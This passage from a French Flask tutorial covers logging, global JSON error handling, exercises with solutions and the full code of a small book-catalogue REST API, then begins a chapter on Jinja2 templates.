      app.logger.critical("Niveau CRITICAL : erreur grave !")

      # Logger avec contexte
      app.logger.info(
          f"Requête reçue : {request.method} {request.path} "
          f"depuis {request.remote_addr}"
      )

      return {"message": "Logs générés"}

CONFIGURATION AVANCÉE DU LOGGER :

  import logging
  from logging.handlers import RotatingFileHandler
  import os

  def configurer_logs(app):
      """
      Configure le système de logging pour BookFlow.
      - Logs dans la console (développement)
      - Logs dans des fichiers rotatifs (production)
      """

      # Niveau de log selon l'environnement
      niveau = logging.DEBUG if app.debug else logging.INFO
      app.logger.setLevel(niveau)

      # Format des logs
      format_log = logging.Formatter(
          '[%(asctime)s] %(levelname)s in %(module)s: %(message)s',
          datefmt='%Y-%m-%d %H:%M:%S'
      )

      # Handler Console (toujours actif)
      console_handler = logging.StreamHandler()
      console_handler.setFormatter(format_log)
      console_handler.setLevel(niveau)
      app.logger.addHandler(console_handler)

      # Handler Fichier (production seulement)
      if not app.debug:
          os.makedirs('logs', exist_ok=True)

          # RotatingFileHandler : nouveau fichier après 10MB, garde 10 fichiers
          fichier_handler = RotatingFileHandler(
              'logs/bookflow.log',
              maxBytes=10 * 1024 * 1024,  # 10 MB
              backupCount=10,
              encoding='utf-8'
          )
          fichier_handler.setFormatter(format_log)
          fichier_handler.setLevel(logging.INFO)
          app.logger.addHandler(fichier_handler)

          # Handler séparé pour les erreurs critiques
          erreur_handler = RotatingFileHandler(
              'logs/bookflow_errors.log',
              maxBytes=10 * 1024 * 1024,
              backupCount=10,
              encoding='utf-8'
          )
          erreur_handler.setFormatter(format_log)
          erreur_handler.setLevel(logging.ERROR)
          app.logger.addHandler(erreur_handler)

      app.logger.info(f"BookFlow démarré en mode {'DEBUG' if app.debug else 'PRODUCTION'}")
      return app

LOGGER LES REQUÊTES ET RÉPONSES AUTOMATIQUEMENT :

  import time
  from flask import g, request

  @app.before_request
  def log_requete():
      g.debut = time.time()
      app.logger.info(
          f"-> {request.method} {request.path} | "
          f"IP: {request.remote_addr} | "
          f"User-Agent: {request.user_agent.string[:50]}"
      )

  @app.after_request
  def log_reponse(response):
      duree = (time.time() - g.debut) * 1000 if hasattr(g, 'debut') else 0

      niveau = app.logger.info
      if response.status_code >= 500:
          niveau = app.logger.error
      elif response.status_code >= 400:
          niveau = app.logger.warning

      niveau(
          f"<- {response.status_code} {request.path} | "
          f"{duree:.2f}ms | "
          f"Taille: {response.content_length or 0} bytes"
      )

      return response


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  GESTION GLOBALE DES ERREURS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Une API professionnelle doit gérer TOUTES les erreurs de manière cohérente.

SYSTÈME COMPLET DE GESTION D'ERREURS :

  from flask import Flask, jsonify, request
  from werkzeug.exceptions import HTTPException

  app = Flask(__name__)

  # ──────────────────────────────────────────────────────
  # EXCEPTIONS PERSONNALISÉES BOOKFLOW
  # ──────────────────────────────────────────────────────

  class BookFlowError(Exception):
      """Exception de base pour toutes les erreurs BookFlow."""
      code_http = 500
      message = "Erreur interne"

      def __init__(self, message=None, details=None):
          self.message = message or self.__class__.message
          self.details = details
          super().__init__(self.message)

  class ValidationError(BookFlowError):
      """Erreur de validation des données."""
      code_http = 400
      message = "Données invalides"

  class RessourceNonTrouveeError(BookFlowError):
      """Ressource non trouvée."""
      code_http = 404
      message = "Ressource non trouvée"

  class AuthentificationError(BookFlowError):
      """Utilisateur non authentifié."""
      code_http = 401
      message = "Authentification requise"

  class AutorisationError(BookFlowError):
      """Accès non autorisé."""
      code_http = 403
      message = "Accès refusé"

  class ConflitError(BookFlowError):
      """Conflit de données (ex: email déjà utilisé)."""
      code_http = 409
      message = "Conflit de données"

  # ──────────────────────────────────────────────────────
  # GESTIONNAIRES D'ERREURS
  # ──────────────────────────────────────────────────────

  @app.errorhandler(BookFlowError)
  def gerer_erreur_bookflow(erreur):
      """Gère toutes les exceptions BookFlowError."""
      reponse = {
          "success": False,
          "error": {
              "code": erreur.code_http,
              "message": erreur.message
          }
      }
      if erreur.details:
          reponse["error"]["details"] = erreur.details

      app.logger.warning(
          f"BookFlowError {erreur.code_http}: {erreur.message} | "
          f"{request.method} {request.path}"
      )

      return jsonify(reponse), erreur.code_http

  @app.errorhandler(HTTPException)
  def gerer_erreur_http(erreur):
      """Gère les erreurs HTTP Werkzeug (404, 405, etc.)."""
      return jsonify({
          "success": False,
          "error": {
              "code": erreur.code,
              "message": erreur.description or erreur.name
          }
      }), erreur.code

  @app.errorhandler(Exception)
  def gerer_erreur_generique(erreur):
      """Gère toutes les exceptions non gérées."""
      app.logger.exception(f"Exception non gérée: {erreur}")

      message = "Erreur interne du serveur"
      if app.debug:
          message = str(erreur)  # Détails seulement en dev !

      return jsonify({
          "success": False,
          "error": {"code": 500, "message": message}
      }), 500

  # ──────────────────────────────────────────────────────
  # UTILISATION DANS LES ROUTES
  # ──────────────────────────────────────────────────────

  LIVRES = [{"id": 1, "titre": "Dune"}]

  @app.route('/api/v1/livres/<int:livre_id>')
  def get_livre(livre_id):
      livre = next((l for l in LIVRES if l["id"] == livre_id), None)

      if livre is None:
          # Lever notre exception personnalisée
          raise RessourceNonTrouveeError(
              f"Aucun livre avec l'id {livre_id}"
          )

      return jsonify({"success": True, "data": livre})

  @app.route('/api/v1/livres', methods=['POST'])
  def creer_livre():
      data = request.get_json(silent=True)

      if not data:
          raise ValidationError("Body JSON manquant ou invalide")

      if not data.get('titre'):
          raise ValidationError(
              "Validation échouée",
              details={"titre": "Ce champ est obligatoire"}
          )

      return jsonify({"success": True, "data": data}), 201


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  FLASK SHELL — TESTER SANS SERVEUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask Shell est un shell Python interactif avec le contexte de l'app chargé.
Très utile pour tester des morceaux de code, les modèles BDD, etc.

  # Lancer le shell Flask
  flask shell

  # Dans le shell :
  >>> from app.models import Livre
  >>> Livre.query.all()
  >>> Livre.query.filter_by(genre='fantasy').count()

PERSONNALISER LE SHELL CONTEXT :

  # app/__init__.py ou run.py
  @app.shell_context_processor
  def make_shell_context():
      """
      Injecte automatiquement des objets dans le shell Flask.
      Comme ça, pas besoin d'importer à chaque fois.
      """
      from app.models import Livre, Utilisateur, Emprunt
      return {
          'db': db,
          'Livre': Livre,
          'Utilisateur': Utilisateur,
          'Emprunt': Emprunt
      }

  # Maintenant dans le shell Flask :
  # flask shell
  # >>> db.session.query(Livre).count()  # Pas d'import nécessaire !
  # >>> Utilisateur.query.filter_by(email='test@test.com').first()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 9.1 : Configure le mode debug et observe le rechargement automatique.
    Modifie une route pendant que le serveur tourne et vérifie la mise à jour.

  Exercice 9.2 : Ajoute des logs structurés à toutes tes routes BookFlow.
    Chaque requête doit être loggée avec : méthode, URL, IP, durée, code réponse.

  Exercice 9.3 : Crée les gestionnaires d'erreurs pour 400, 401, 403, 404, 500.
    Tous doivent retourner du JSON dans le format BookFlow standard.

NIVEAU INTERMÉDIAIRE :
  Exercice 9.4 : Implémente les exceptions personnalisées BookFlow complètes.
    Utilise-les dans tes routes existantes.

  Exercice 9.5 : Configure les logs vers un fichier avec rotation automatique.
    Les erreurs doivent être dans un fichier séparé.

NIVEAU AVANCÉ :
  Exercice 9.6 : Implémente un système de monitoring basique :
    - Compteur du nombre de requêtes par endpoint
    - Temps de réponse moyen par endpoint
    - Endpoint GET /api/v1/metrics qui retourne ces statistiques


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 9.3 — Gestionnaires d'erreurs JSON :

  from flask import Flask, jsonify, request
  from werkzeug.exceptions import HTTPException

  app = Flask(__name__)

  @app.errorhandler(400)
  def bad_request(e):
      return jsonify({
          "success": False,
          "error": {
              "code": 400,
              "message": str(e.description) if hasattr(e, 'description') else "Requête invalide"
          }
      }), 400

  @app.errorhandler(401)
  def unauthorized(e):
      return jsonify({
          "success": False,
          "error": {
              "code": 401,
              "message": "Authentification requise. Fournissez un token valide."
          }
      }), 401

  @app.errorhandler(403)
  def forbidden(e):
      return jsonify({
          "success": False,
          "error": {
              "code": 403,
              "message": "Vous n'avez pas les droits pour accéder à cette ressource."
          }
      }), 403

  @app.errorhandler(404)
  def not_found(e):
      return jsonify({
          "success": False,
          "error": {
              "code": 404,
              "message": "Ressource non trouvée",
              "url": request.url
          }
      }), 404

  @app.errorhandler(405)
  def method_not_allowed(e):
      return jsonify({
          "success": False,
          "error": {
              "code": 405,
              "message": f"Méthode {request.method} non autorisée pour {request.path}"
          }
      }), 405

  @app.errorhandler(500)
  def internal_error(e):
      app.logger.error(f"Erreur 500 : {e}")
      return jsonify({
          "success": False,
          "error": {
              "code": 500,
              "message": "Erreur interne. Réessayez plus tard."
          }
      }), 500

CORRIGÉ 9.6 — Système de monitoring :

  from flask import Flask, jsonify, request, g
  import time
  from collections import defaultdict
  from threading import Lock

  app = Flask(__name__)

  # Stockage des métriques thread-safe
  metriques = defaultdict(lambda: {"requetes": 0, "duree_totale": 0.0, "erreurs": 0})
  lock_metriques = Lock()

  @app.before_request
  def avant_requete():
      g.debut = time.time()

  @app.after_request
  def apres_requete(response):
      if hasattr(g, 'debut'):
          duree = time.time() - g.debut
          endpoint = f"{request.method} {request.path}"

          with lock_metriques:
              metriques[endpoint]["requetes"] += 1
              metriques[endpoint]["duree_totale"] += duree
              if response.status_code >= 400:
                  metriques[endpoint]["erreurs"] += 1

      return response

  @app.route('/api/v1/metrics')
  def get_metrics():
      """Retourne les métriques de l'API."""
      with lock_metriques:
          stats = {}
          for endpoint, data in metriques.items():
              if endpoint == "GET /api/v1/metrics":
                  continue  # Exclure l'endpoint metrics lui-même

              nb_requetes = data["requetes"]
              stats[endpoint] = {
                  "requetes": nb_requetes,
                  "erreurs": data["erreurs"],
                  "taux_erreur": f"{(data['erreurs']/nb_requetes*100):.1f}%" if nb_requetes > 0 else "0%",
                  "temps_moyen_ms": round(
                      (data["duree_totale"] / nb_requetes) * 1000, 2
                  ) if nb_requetes > 0 else 0
              }

      return jsonify({
          "success": True,
          "data": {
              "endpoints": stats,
              "total_requetes": sum(d["requetes"] for d in metriques.values()),
              "total_erreurs": sum(d["erreurs"] for d in metriques.values())
          }
      })

  if __name__ == '__main__':
      app.run(debug=True)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                 [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW API v0.1                              ║
║                 Première version fonctionnelle du projet                             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  OBJECTIF DE CETTE ÉTAPE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En combinant tout ce qu'on a vu dans la Partie 2, on va créer la première
version fonctionnelle de BookFlow API. Pas encore de vraie base de données
(ça viendra en Partie 5), mais une API REST complète avec :
  [OK] Structure Application Factory
  [OK] Blueprints organisés
  [OK] Validation des données
  [OK] Gestion des erreurs
  [OK] Logging
  [OK] Tous les endpoints CRUD pour les livres

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  STRUCTURE DU PROJET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  bookflow/
  ├── app/
  │   ├── __init__.py          <- Application Factory
  │   ├── config.py            <- Configurations
  │   ├── errors.py            <- Exceptions et handlers
  │   └── routes/
  │       ├── __init__.py
  │       └── livres.py        <- Blueprint livres (CRUD complet)
  ├── .env
  ├── .gitignore
  ├── requirements.txt
  └── run.py

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CODE COMPLET DE BOOKFLOW v0.1
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

══════════════════════════════════════
  FICHIER : app/errors.py
══════════════════════════════════════

  from flask import jsonify, request

  class BookFlowError(Exception):
      code_http = 500
      message = "Erreur interne"

      def __init__(self, message=None, details=None):
          self.message = message or self.__class__.message
          self.details = details
          super().__init__(self.message)

  class ValidationError(BookFlowError):
      code_http = 400
      message = "Données invalides"

  class NonTrouveError(BookFlowError):
      code_http = 404
      message = "Ressource non trouvée"

  class ConflitError(BookFlowError):
      code_http = 409
      message = "Conflit de données"

  def enregistrer_handlers(app):
      """Enregistre tous les gestionnaires d'erreurs sur l'app."""

      @app.errorhandler(BookFlowError)
      def gerer_bookflow_error(e):
          reponse = {
              "success": False,
              "error": {"code": e.code_http, "message": e.message}
          }
          if e.details:
              reponse["error"]["details"] = e.details
          return jsonify(reponse), e.code_http

      @app.errorhandler(404)
      def not_found(e):
          return jsonify({
              "success": False,
              "error": {"code": 404, "message": "Ressource non trouvée", "url": request.url}
          }), 404

      @app.errorhandler(405)
      def method_not_allowed(e):
          return jsonify({
              "success": False,
              "error": {"code": 405, "message": f"Méthode {request.method} non autorisée"}
          }), 405

      @app.errorhandler(Exception)
      def gerer_exception(e):
          app.logger.exception(f"Exception: {e}")
          message = str(e) if app.debug else "Erreur interne"
          return jsonify({
              "success": False,
              "error": {"code": 500, "message": message}
          }), 500

══════════════════════════════════════
  FICHIER : app/routes/livres.py
══════════════════════════════════════

  from flask import Blueprint, jsonify, request
  from app.errors import ValidationError, NonTrouveError, ConflitError
  import time

  livres_bp = Blueprint('livres', __name__)

  # ──── "Base de données" en mémoire (temporaire, sera remplacée par SQLAlchemy) ────
  _livres = [
      {
          "id": 1,
          "titre": "Dune",
          "auteur": "Frank Herbert",
          "pages": 900,
          "genre": "science-fiction",
          "isbn": "9780441013593",
          "disponible": True,
          "created_at": "2024-01-01T00:00:00Z"
      },
      {
          "id": 2,
          "titre": "Le Hobbit",
          "auteur": "J.R.R. Tolkien",
          "pages": 310,
          "genre": "fantasy",
          "isbn": "9782070612888",
          "disponible": True,
          "created_at": "2024-01-01T00:00:00Z"
      },
      {
          "id": 3,
          "titre": "1984",
          "auteur": "George Orwell",
          "pages": 328,
          "genre": "dystopie",
          "isbn": "9782072762093",
          "disponible": False,
          "created_at": "2024-01-01T00:00:00Z"
      }
  ]
  _prochain_id = 4

  GENRES_VALIDES = [
      'science-fiction', 'fantasy', 'dystopie', 'policier',
      'romance', 'historique', 'biographie', 'philosophie', 'autre'
  ]

  # ──── HELPERS ────

  def trouver_livre(livre_id):
      """Cherche un livre par ID. Retourne le livre ou None."""
      return next((l for l in _livres if l["id"] == livre_id), None)

  def isbn_existe(isbn, exclure_id=None):
      """Vérifie si un ISBN est déjà utilisé."""
      for livre in _livres:
          if livre.get("isbn") == isbn and livre["id"] != exclure_id:
              return True
      return False

  def valider_livre_data(data, creation=True):
      """
      Valide les données d'un livre.
      creation=True -> vérifie les champs obligatoires
      creation=False -> tous les champs sont optionnels (PATCH)
      """
      erreurs = {}
      donnees = {}

      # TITRE
      if 'titre' in data:
          titre = str(data['titre']).strip()
          if not titre:
              erreurs['titre'] = "Le titre ne peut pas être vide"
          elif len(titre) > 200:
              erreurs['titre'] = f"Max 200 caractères ({len(titre)} reçus)"
          else:
              donnees['titre'] = titre
      elif creation:
          erreurs['titre'] = "Ce champ est obligatoire"

      # AUTEUR
      if 'auteur' in data:
          auteur = str(data['auteur']).strip()
          if not auteur:
              erreurs['auteur'] = "L'auteur ne peut pas être vide"
          elif len(auteur) > 100:
              erreurs['auteur'] = f"Max 100 caractères ({len(auteur)} reçus)"
          else:
              donnees['auteur'] = auteur
      elif creation:
          erreurs['auteur'] = "Ce champ est obligatoire"

      # PAGES
      if 'pages' in data:
          pages = data['pages']
          if not isinstance(pages, int) or pages < 0:
              erreurs['pages'] = "Doit être un entier positif"
          else:
              donnees['pages'] = pages

      # GENRE
      if 'genre' in data:
          genre = str(data['genre']).lower().strip()
          if genre not in GENRES_VALIDES:
              erreurs['genre'] = f"Valeurs acceptées : {GENRES_VALIDES}"
          else:
              donnees['genre'] = genre

      # ISBN
      if 'isbn' in data and data['isbn']:
          isbn = str(data['isbn']).replace('-', '').replace(' ', '')
          if not isbn.isdigit() or len(isbn) != 13:
              erreurs['isbn'] = "L'ISBN doit contenir exactement 13 chiffres"
          else:
              donnees['isbn'] = isbn

      # DISPONIBLE
      if 'disponible' in data:
          if not isinstance(data['disponible'], bool):
              erreurs['disponible'] = "Doit être true ou false"
          else:
              donnees['disponible'] = data['disponible']

      return donnees, erreurs

  # ──── ROUTES ────

  @livres_bp.route('/', methods=['GET'])
  def get_livres():
      """
      GET /api/v1/livres/
      Liste les livres avec filtres et pagination.

      Query params :
        genre      -> filtrer par genre
        disponible -> true/false
        page       -> numéro de page (défaut: 1)
        limit      -> éléments par page (défaut: 10, max: 100)
        sort       -> champ de tri (titre, auteur, pages)
        order      -> asc ou desc
      """
      # Récupérer les params
      genre = request.args.get('genre')
      disponible_str = request.args.get('disponible')
      page = request.args.get('page', 1, type=int)
      limit = request.args.get('limit', 10, type=int)
      sort = request.args.get('sort', 'titre')
      order = request.args.get('order', 'asc')

      # Validation
      if page < 1:
          raise ValidationError("page doit être >= 1")
      if not (1 <= limit <= 100):
          raise ValidationError("limit doit être entre 1 et 100")
      if sort not in ['titre', 'auteur', 'pages', 'id']:
          raise ValidationError(f"sort invalide. Valeurs: titre, auteur, pages, id")
      if order not in ['asc', 'desc']:
          raise ValidationError("order doit être 'asc' ou 'desc'")

      # Filtrage
      resultats = _livres.copy()

      if genre:
          resultats = [l for l in resultats if l.get('genre') == genre.lower()]

      if disponible_str is not None:
          dispo = disponible_str.lower() == 'true'
          resultats = [l for l in resultats if l['disponible'] == dispo]

      # Tri
      reverse = (order == 'desc')
      resultats.sort(key=lambda l: str(l.get(sort, '')), reverse=reverse)

      # Pagination
      total = len(resultats)
      debut = (page - 1) * limit
      fin = debut + limit
      resultats_page = resultats[debut:fin]

      return jsonify({
          "success": True,
          "data": resultats_page,
          "meta": {
              "total": total,
              "page": page,
              "limit": limit,
              "pages": max(1, (total + limit - 1) // limit),
              "has_next": fin < total,
              "has_prev": page > 1,
              "filtres_appliques": {
                  "genre": genre,
                  "disponible": disponible_str,
                  "sort": f"{sort} {order}"
              }
          }
      })

  @livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      """
      GET /api/v1/livres/<id>
      Retourne un livre spécifique par son ID.
      """
      livre = trouver_livre(livre_id)

      if not livre:
          raise NonTrouveError(f"Aucun livre avec l'id {livre_id}")

      return jsonify({"success": True, "data": livre})

  @livres_bp.route('/', methods=['POST'])
  def creer_livre():
      """
      POST /api/v1/livres/
      Crée un nouveau livre.

      Body JSON requis :
        titre  : string (requis)
        auteur : string (requis)
        pages  : int (optionnel)
        genre  : string (optionnel)
        isbn   : string 13 chiffres (optionnel)
      """
      global _prochain_id

      if not request.is_json:
          raise ValidationError("Content-Type: application/json requis")

      data = request.get_json(silent=True)
      if data is None:
          raise ValidationError("Body JSON invalide ou vide")

      donnees, erreurs = valider_livre_data(data, creation=True)

      if erreurs:
          raise ValidationError("Validation échouée", details=erreurs)

      # Vérifier l'unicité de l'ISBN
      if donnees.get('isbn') and isbn_existe(donnees['isbn']):
          raise ConflitError(f"L'ISBN {donnees['isbn']} est déjà utilisé")

      # Créer le livre
      nouveau_livre = {
          "id": _prochain_id,
          "titre": donnees['titre'],
          "auteur": donnees['auteur'],
          "pages": donnees.get('pages', 0),
          "genre": donnees.get('genre', 'autre'),
          "isbn": donnees.get('isbn'),
          "disponible": donnees.get('disponible', True),
          "created_at": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
      }

      _livres.append(nouveau_livre)
      _prochain_id += 1

      return jsonify({
          "success": True,
          "message": "Livre créé avec succès",
          "data": nouveau_livre
      }), 201

  @livres_bp.route('/<int:livre_id>', methods=['PATCH'])
  def modifier_livre(livre_id):
      """
      PATCH /api/v1/livres/<id>
      Modifie partiellement un livre existant.
      Seuls les champs fournis sont mis à jour.
      """
      livre = trouver_livre(livre_id)
      if not livre:
          raise NonTrouveError(f"Aucun livre avec l'id {livre_id}")

      if not request.is_json:
          raise ValidationError("Content-Type: application/json requis")

      data = request.get_json(silent=True)
      if data is None:
          raise ValidationError("Body JSON invalide")

      if not data:
          raise ValidationError("Body vide — envoyez au moins un champ à modifier")

      donnees, erreurs = valider_livre_data(data, creation=False)

      if erreurs:
          raise ValidationError("Validation échouée", details=erreurs)

      # Vérifier l'unicité de l'ISBN
      if donnees.get('isbn') and isbn_existe(donnees['isbn'], exclure_id=livre_id):
          raise ConflitError(f"L'ISBN {donnees['isbn']} est déjà utilisé")

      # Mettre à jour seulement les champs fournis
      champs_avant = dict(livre)
      livre.update(donnees)

      return jsonify({
          "success": True,
          "message": "Livre modifié avec succès",
          "data": livre,
          "modifie": list(donnees.keys())
      })

  @livres_bp.route('/<int:livre_id>', methods=['DELETE'])
  def supprimer_livre(livre_id):
      """
      DELETE /api/v1/livres/<id>
      Supprime un livre par son ID.
      Retourne 204 No Content si succès.
      """
      global _livres

      livre = trouver_livre(livre_id)
      if not livre:
          raise NonTrouveError(f"Aucun livre avec l'id {livre_id}")

      _livres = [l for l in _livres if l["id"] != livre_id]

      # 204 No Content : pas de body dans la réponse
      return '', 204

  @livres_bp.route('/search', methods=['GET'])
  def rechercher_livres():
      """
      GET /api/v1/livres/search?q=dune
      Recherche dans les titres et auteurs.
      """
      query = request.args.get('q', '').strip().lower()

      if not query or len(query) < 2:
          raise ValidationError("Le paramètre 'q' doit contenir au moins 2 caractères")

      resultats = [
          l for l in _livres
          if query in l['titre'].lower() or query in l['auteur'].lower()
      ]

      return jsonify({
          "success": True,
          "data": resultats,
          "meta": {
              "query": query,
              "total": len(resultats)
          }
      })

══════════════════════════════════════
  FICHIER : app/__init__.py
══════════════════════════════════════

  import os
  import logging
  from flask import Flask
  from .errors import enregistrer_handlers
  from .config import config_map

  def create_app(config_name=None):
      """Application Factory BookFlow."""
      app = Flask(__name__)

      # Configuration
      if config_name is None:
          config_name = os.getenv('FLASK_ENV', 'development')
      app.config.from_object(config_map.get(config_name, config_map['default']))

      # Logging
      if not app.debug:
          app.logger.setLevel(logging.INFO)
      else:
          app.logger.setLevel(logging.DEBUG)

      # Enregistrer les gestionnaires d'erreurs
      enregistrer_handlers(app)

      # Enregistrer les Blueprints
      from .routes.livres import livres_bp
      app.register_blueprint(livres_bp, url_prefix='/api/v1/livres')

      # Route de santé
      @app.route('/health')
      def health():
          return {
              "status": "OK",
              "app": "BookFlow API",
              "version": "0.1.0",
              "environment": config_name,
              "endpoints": {
                  "livres": "/api/v1/livres/",
                  "docs": "/api/v1/docs (bientôt)"
              }
          }

      app.logger.info(f"BookFlow API v0.1 démarrée [{config_name}]")
      return app

══════════════════════════════════════
  TEST DE L'API AVEC CURL
══════════════════════════════════════

  # Lancer le serveur
  flask run

  # Santé
  curl http://localhost:5000/health

  # Lister les livres
  curl http://localhost:5000/api/v1/livres/

  # Filtrer par genre
  curl "http://localhost:5000/api/v1/livres/?genre=fantasy"

  # Voir un livre
  curl http://localhost:5000/api/v1/livres/1

  # Créer un livre
  curl -X POST http://localhost:5000/api/v1/livres/ \
    -H "Content-Type: application/json" \
    -d '{"titre": "Foundation", "auteur": "Isaac Asimov", "pages": 255, "genre": "science-fiction"}'

  # Modifier un livre
  curl -X PATCH http://localhost:5000/api/v1/livres/4 \
    -H "Content-Type: application/json" \
    -d '{"pages": 260, "disponible": false}'

  # Supprimer un livre
  curl -X DELETE http://localhost:5000/api/v1/livres/4

  # Rechercher
  curl "http://localhost:5000/api/v1/livres/search?q=dune"

  # Pagination et tri
  curl "http://localhost:5000/api/v1/livres/?page=1&limit=2&sort=auteur&order=asc"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 2 — INTRODUCTION À FLASK

  [DOCS] Tu as appris et pratiqué :
     -> L'installation Flask et ses dépendances
     -> Le fonctionnement interne (WSGI, contextes, cycle requête/réponse)
     -> L'Application Factory Pattern (la bonne architecture Flask)
     -> Le routing complet : routes statiques, paramètres, query string, url_for()
     -> Les Blueprints pour organiser le code en modules
     -> Les hooks before/after_request
     -> L'objet request : body JSON, en-têtes, fichiers, query params
     -> L'objet response : jsonify, make_response, codes HTTP, erreurs
     -> Le mode debug, les logs structurés, la gestion globale des erreurs
     -> BookFlow API v0.1 : API REST CRUD complète fonctionnelle

  -> Prochaine étape : Partie 3 — Templates & Frontend (Jinja2)
  -> Ou saute à la Partie 5 si tu veux directement les bases de données

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║            FLASK MASTER GUIDE — PARTIE 3 : TEMPLATES & FRONTEND                      ║
║                Jinja2, HTML dynamique et rendu côté serveur                          ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 3 / 20
Chapitres      : 10 -> 13
Prérequis      : Parties 1 et 2 (HTTP, Flask, routing, request/response)
Projet fil     : BookFlow API — Interface web HTML pour le catalogue

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 3
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 10 — Jinja2 : le moteur de templates Flask
  CHAPITRE 11 — Templates HTML : structure et héritage
  CHAPITRE 12 — Variables, filtres et expressions Jinja2
  CHAPITRE 13 — Boucles, conditions et macros

  PROJET FIL ROUGE — BookFlow : interface web complète du catalogue

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║               CHAPITRE 10 — JINJA2 : LE MOTEUR DE TEMPLATES FLASK                    ║
║                 Générer du HTML dynamique côté serveur                               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE JINJA2 ?
────────────────────────
Jinja2 est le moteur de templates par défaut de Flask. Il permet de mélanger
du HTML statique avec des données Python dynamiques pour générer des pages web.

Imagine que tu as un catalogue de livres. Plutôt que d'écrire une page HTML
pour chaque livre, tu écris UN template HTML avec des espaces réservés, et
Jinja2 les remplace par les vraies données au moment de la requête.

TEMPLATE JINJA2 vs HTML STATIQUE :

  HTML STATIQUE (inflexible) :        TEMPLATE JINJA2 (dynamique) :
  ─────────────────────────────       ─────────────────────────────────────
  <h1>Dune</h1>                       <h1>{{ livre.titre }}</h1>
  <p>Frank Herbert</p>                <p>{{ livre.auteur }}</p>
  <p>900 pages</p>                    <p>{{ livre.pages }} pages</p>

  -> Fixé pour toujours                -> S'adapte à n'importe quel livre !

POURQUOI JINJA2 EXISTE ?
  -> Séparer le HTML (présentation) du Python (logique)
  -> Éviter la duplication de code (héritage de templates)
  -> Sécurité : Jinja2 échappe automatiquement le HTML (protection XSS)
  -> Lisibilité : les templates restent proches du HTML standard

DANS QUELS CAS L'UTILISE-T-ON ?
  -> Applications web full-stack avec Flask (sites complets)
  -> Emails HTML dynamiques
  -> Génération de documents HTML, PDF
  -> Pages d'administration (dashboards)
  -> [ATTENTION] Pour les API REST pures -> on n'utilise PAS les templates (on retourne du JSON)

NOTE IMPORTANTE :
Dans BookFlow, notre API REST retourne du JSON (Parties 5-8).
Les templates Jinja2 sont utiles si on ajoute une interface web côté serveur.
Ce chapitre t'apprend les deux approches : web rendu serveur ET API JSON.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  FONCTIONNEMENT INTERNE DE JINJA2
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

COMMENT JINJA2 FONCTIONNE SOUS LE CAPOT :

  ┌─────────────────────────────────────────────────────────────────┐
  │                  CYCLE DE RENDU JINJA2                          │
  └─────────────────────────────────────────────────────────────────┘

  1. CLIENT : GET /livres/1

  2. FLASK ROUTE : appelle get_livre(1)

  3. FONCTION DE VUE :
     livre = {"titre": "Dune", "auteur": "Herbert", "pages": 900}
     return render_template('livre.html', livre=livre)
                              ^                      ^
                         nom du fichier       variables Python
                         dans /templates/     passées au template

  4. JINJA2 CHARGE le fichier templates/livre.html

  5. JINJA2 ANALYSE le template et remplace :
     {{ livre.titre }}  ->  "Dune"
     {{ livre.auteur }} ->  "Frank Herbert"
     {% for ... %}      ->  génère le HTML correspondant

  6. JINJA2 RETOURNE le HTML final (string)

  7. FLASK ENVOIE la réponse HTTP :
     HTTP/1.1 200 OK
     Content-Type: text/html; charset=utf-8
     <html>...<h1>Dune</h1>...</html>

